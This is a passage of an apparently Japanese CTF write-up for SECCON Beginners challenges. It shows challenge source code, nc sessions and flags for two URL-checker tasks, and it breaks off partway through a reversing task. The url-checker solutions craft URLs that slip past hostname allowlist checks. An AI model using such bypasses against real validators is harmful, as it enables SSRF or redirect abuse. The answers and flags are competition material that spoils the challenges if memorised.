&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;4&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 159.43px; top: 209.986px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>b&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;11&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 153.112px; top: 234.26px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>a&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;6&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 207.959px; top: 159.728px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>n&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;15&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 178.28px; top: 150.448px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>1&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;9&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 379.457px; top: 329.116px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>u&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;12&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 390.8px; top: 64.0435px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>7&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;13&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 142.662px; top: 205.096px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>u&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="p">&amp;lt;&lt;/span>&lt;span class="nt">div&lt;/span> &lt;span class="na">class&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;flag-char&amp;#34;&lt;/span> &lt;span class="na">data-index&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;8&amp;#34;&lt;/span> &lt;span class="na">style&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s">&amp;#34;left: 179.978px; top: 105.609px;&amp;#34;&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>7&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">&amp;lt;/&lt;/span>&lt;span class="nt">div&lt;/span>&lt;span class="p">&amp;gt;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;code>ctf4b{n47uma7ur1}&lt;/code>&lt;/p>
&lt;h3 id="url-checker-606-solve-100-easy">url-checker [606 Solve (100 easy)]&lt;/h3>
&lt;blockquote>
&lt;p>有効なURLを作れますか？&lt;br>
nc url-checker.challenges.beginners.seccon.jp 33457&lt;/p>
&lt;/blockquote>
&lt;p>urlparse(user_input).hostname が &lt;code>example.com&lt;/code> と同じではなく，&lt;code>example.com&lt;/code>で始まるようにすればよい．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">urllib.parse&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">urlparse&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="sa">r&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> _ _ ____ _ ____ _ _
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">| | | | _ \| | / ___| |__ ___ ___| | _____ _ __
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">| | | | |_) | | | | | &amp;#39;_ \ / _ \/ __| |/ / _ \ &amp;#39;__|
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">| |_| | _ &amp;lt;| |___ | |___| | | | __/ (__| &amp;lt; __/ |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> \___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_|
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">allowed_hostname = &amp;#34;example.com&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;gt;&amp;gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">allowed_hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;example.com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">user_input&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Enter a URL: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">parsed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urlparse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">user_input&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">allowed_hostname&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;You entered the allowed URL :)&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">startswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">allowed_hostname&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Valid URL :)&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Flag: ctf4b&lt;/span>&lt;span class="si">{dummy_flag}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Invalid URL x_x, expected hostname &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">allowed_hostname&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">, got &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="s1">&amp;#39;None&amp;#39;&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Error happened&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;pre tabindex="0">&lt;code>$ nc url-checker.challenges.beginners.seccon.jp 33457
_ _ ____ _ ____ _ _
| | | | _ \| | / ___| |__ ___ ___| | _____ _ __
| | | | |_) | | | | | &amp;#39;_ \ / _ \/ __| |/ / _ \ &amp;#39;__|
| |_| | _ &amp;lt;| |___ | |___| | | | __/ (__| &amp;lt; __/ |
\___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_|
allowed_hostname = &amp;#34;example.com&amp;#34;
&amp;gt;&amp;gt; Enter a URL: https://example.com.ss
Valid URL :)
Flag: ctf4b{574r75w17h_50m371m35_n07_53cur37}
&lt;/code>&lt;/pre>&lt;h3 id="url-checker2-524-solve-100-medium">url-checker2 [524 Solve (100 medium)]&lt;/h3>
&lt;blockquote>
&lt;p>有効なURLを作れますか？ Part2&lt;br>
nc url-checker2.challenges.beginners.seccon.jp 33458&lt;/p>
&lt;/blockquote>
&lt;p>urlparse(user_input).hostname が &lt;code>example.com&lt;/code> と同じではなく，&lt;code>example.com&lt;/code>で始まるようにする．&lt;/p>
&lt;p>さらに，urlparse(user_input).netloc を &lt;code>:&lt;/code> で分割した最初の要素は &lt;code>example.com&lt;/code> と同じである必要がある．&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">urllib.parse&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">urlparse&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="sa">r&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> _ _ ____ _ ____ _ _ ____
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">| | | | _ \| | / ___| |__ ___ ___| | _____ _ _|___ \
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">| | | | |_) | | | | | &amp;#39;_ \ / _ \/ __| |/ / _ \ &amp;#39;__|__) |
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">| |_| | _ &amp;lt;| |___ | |___| | | | __/ (__| &amp;lt; __/ | / __/
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2"> \___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_| |_____|
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">allowed_hostname = &amp;#34;example.com&amp;#34;
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="s2">&amp;gt;&amp;gt; &amp;#34;&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">end&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">allowed_hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;example.com&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">user_input&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">input&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Enter a URL: &amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">strip&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">parsed&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urlparse&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">user_input&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Remove port if present&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">input_hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="kc">None&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="s1">&amp;#39;:&amp;#39;&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">netloc&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">input_hostname&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">netloc&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">split&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;:&amp;#39;&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">allowed_hostname&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;You entered the allowed URL :)&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">input_hostname&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">input_hostname&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="n">allowed_hostname&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="ow">and&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">startswith&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">allowed_hostname&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Valid URL :)&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Flag: ctf4b&lt;/span>&lt;span class="si">{dummy_flag}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;Invalid URL x_x, expected hostname &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">allowed_hostname&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">, got &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="k">if&lt;/span> &lt;span class="n">parsed&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">hostname&lt;/span> &lt;span class="k">else&lt;/span> &lt;span class="s1">&amp;#39;None&amp;#39;&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Error happened&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>URLでは以下のような形式をとることができる．&lt;/p>
&lt;pre tabindex="0">&lt;code>scheme://username:password@hostname:port/path?query#fragment
&lt;/code>&lt;/pre>&lt;p>よって，&lt;code>https://example.com:@example.com.ss&lt;/code>とすればよい．&lt;/p>
&lt;pre tabindex="0">&lt;code>$ nc url-checker2.challenges.beginners.seccon.jp 33458
_ _ ____ _ ____ _ _ ____
| | | | _ \| | / ___| |__ ___ ___| | _____ _ _|___ \
| | | | |_) | | | | | &amp;#39;_ \ / _ \/ __| |/ / _ \ &amp;#39;__|__) |
| |_| | _ &amp;lt;| |___ | |___| | | | __/ (__| &amp;lt; __/ | / __/
\___/|_| \_\_____| \____|_| |_|\___|\___|_|\_\___|_| |_____|
allowed_hostname = &amp;#34;example.com&amp;#34;
&amp;gt;&amp;gt; Enter a URL: https://example.com:@example.com.ss
Valid URL :)
Flag: ctf4b{cu570m_pr0c3551n6_0f_url5_15_d4n63r0u5}
&lt;/code>&lt;/pre>&lt;h2 id="reversing">reversing&lt;/h2>
&lt;h3 id="crazylazyprogram1-654-solve-100-beginner">CrazyLazyProgram1 [654 Solve (100 beginner)]&lt;/h3>
&lt;blockquote>
&lt;p>改行が面倒だったのでワンライナーにしてみました。&lt;/p>
&lt;/blockquote>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-py" data-lang="py">&lt;span class="line">&lt;span class="cl">&lt;span class="n">using&lt;/span> &lt;span class="n">System&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="k">class&lt;/span> &lt;span class="nc">Program&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="n">static&lt;/span> &lt;span class="n">void&lt;/span> &lt;span class="n">Main&lt;/span>&lt;span class="p">()&lt;/span> &lt;span class="p">{&lt;/span>&lt;span class="nb">int&lt;/span> &lt;span class="nb">len&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="mh">0x23&lt;/span>&lt;span class="p">;&lt;/span>&lt;span class="n">Console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Write&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;INPUT &amp;gt; &amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="n">string&lt;/span> &lt;span class="n">flag&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="n">Console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">ReadLine&lt;/span>&lt;span class="p">();&lt;/span>&lt;span class="k">if&lt;/span>&lt;span class="p">((&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Length&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">!=&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">){&lt;/span>&lt;span class="n">Console&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">WriteLine&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;WRONG!&amp;#34;&lt;/span>&lt;span class="p">);}&lt;/span>&lt;span class="k">else&lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="k">if&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x63&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x74&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x66&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x34&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">4&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x62&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">5&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x7b&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">6&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x31&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">7&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x5f&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">8&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x31&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">9&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x69&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">10&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x6e&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">]&lt;/span>&lt;span class="o">==&lt;/span>&lt;span class="mh">0x33&lt;/span>&lt;span class="o">&amp;amp;&amp;amp;&lt;/span>&lt;span class="n">flag&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="mi">12&lt;/span>&lt;span 